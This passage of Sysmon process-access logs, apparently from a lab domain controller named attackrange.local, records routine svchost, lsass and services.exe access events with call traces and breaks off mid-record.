C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.438","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":918,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.438\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.438","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":919,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.438\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.438","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":920,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.438\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.438","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":921,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.438\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.438","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":922,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.438\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.438","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":923,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.438\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041B90000}\r\nTargetProcessId: 1140\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x40\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\lsm.dll+b81f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.438","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041B90000}","TargetProcessId":"1140","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x40","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\lsm.dll+b81f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":924,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.453\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.453","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":925,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.453\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 